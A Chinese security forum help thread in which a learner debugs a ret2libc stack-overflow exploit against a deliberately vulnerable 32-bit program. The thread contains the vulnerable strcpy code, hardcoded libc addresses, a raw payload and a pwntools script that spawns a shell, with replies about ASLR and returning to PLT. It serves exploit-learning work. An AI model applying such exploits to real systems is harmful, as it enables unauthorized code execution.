首页
社区
课程
招聘
[求助] 新手学习ret2libc遇到一个问题
2018-5-23 23:32 4823

[求助] 新手学习ret2libc遇到一个问题

2018-5-23 23:32
4823
跟着网上的一个师傅的博客学习ret2libc,地址为  https://blog.csdn.net/linyt/article/details/43643499
程序的源代码为

#include <stdio.h>      
#include <string.h>      
      
void evilfunction(char *input) {      
      
    char buffer[512];      
    strcpy(buffer, input);      
}      
      
int main(int argc, char **argv) {      
      
    evilfunction(argv[1]);      
      
    return 0;      
} 

编译命令: 

gcc -Wall -g -o ret2libc ret2libc.c -fno-stack-protector -m32

跟着做的过程中遇到几个问题,自己也都解决了,但是最后写exp的时候,每次都提示失败。
最后的问题总结为一句话就是:构造的payload在命令行里面直接使用可以成功,写的exp去利用就会失败,具体的内容如下:

几个关键地址如下:

system函数的地址 0xf7e03c70


exit函数的地址为  0xf7df6ed0


"/bin/bash"字符串地址为:0xffffdddb

具体的payload构造如下:

"A"*520 +"p<\xe0\xf7"."\xd0n\xdf\xf7"."\xdb\xdd\xff\xff"


直接在命令行里面执行的时候,没有问题,具体信息如下:


但是用pwntools写的exp就会有问题 ,exp如下


from pwn import *

bin_bash=0xffffdddb
func_system=0xf7e03c70
func_exit=0xf7df6ed0


payload="A"*520+p32(func_system)+p32(func_exit)+p32(bin_bash)
print payload


io= process(argv=['./ret2libc', payload])

io.interactive()

执行结果如下:


这不科学啊,直接在命令行里面去执行payload能够执行成功,说明我们的payload没有问题,为啥在exp里面会直接夭折呢,思考了好几个小时也没有搞明白,求各位师傅指导一下exp中存在的问题。

自己编译后的源文件放到附件中了,如果是编译文件的问题的话,请师傅们用前面的代码重新编译,多谢多谢



[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

最后于 2018-5-24 11:16 被skeep编辑 ,原因: 补充内容
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (9)
雪    币: 1473
活跃值: (382)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
skeep 1 2018-5-23 23:35
2
0
补充一句  测试环境是在  64位的kali虚拟机进行的
雪    币: 44
活跃值: (56)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
潇洒蛋 2018-5-24 01:49
3
0
io  =  process("./ret2libc")
io.recv()
io.sendline(payload)
雪    币: 1473
活跃值: (382)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
skeep 1 2018-5-24 11:16
4
0
潇洒蛋 io = process("./ret2libc") io.recv() io.sendline(payload)
试了也不行哎
雪    币: 763
活跃值: (288)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
pwnda 2 2018-5-24 19:52
5
0
这个你的  /bin/bash是栈上的环境变量吧    aslr没关的话栈地址会变吧?
雪    币: 1473
活跃值: (382)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
skeep 1 2018-5-25 09:36
6
0
pwnda 这个你的 /bin/bash是栈上的环境变量吧 aslr没关的话栈地址会变吧?
我aslr    通过命令已经关闭了
雪    币: 14
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hackben 2018-5-25 10:03
7
0
你这种把地址写死在exp中肯定有问题呢。建议在  源码中  加上  对system  函数的调用  然后  ret到  system的  plt指令片段中,自己构造  "/bin/sh"参数  以及压栈。
雪    币: 1473
活跃值: (382)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
skeep 1 2018-5-25 23:57
8
0
hackben 你这种把地址写死在exp中肯定有问题呢。建议在 源码中 加上 对system 函数的调用 然后 ret到 system的 plt指令片段中,自己构造 "/bin/sh"参数 以及压 ...
好的,我先把别人的这套教程看完,再翻过来看一下您说的这个方法
雪    币: 5676
活跃值: (1303)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 15 2018-5-28 00:40
9
0
刚写完一篇关于这个的东西。。。
雪    币: 1473
活跃值: (382)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
skeep 1 2018-6-18 09:24
10
0
结贴,最后使用和文章链接博主相同的Ubuntu  12.04  再去作,就没有问题了,猜测是系统的问题
游客
登录 | 注册 方可回帖
返回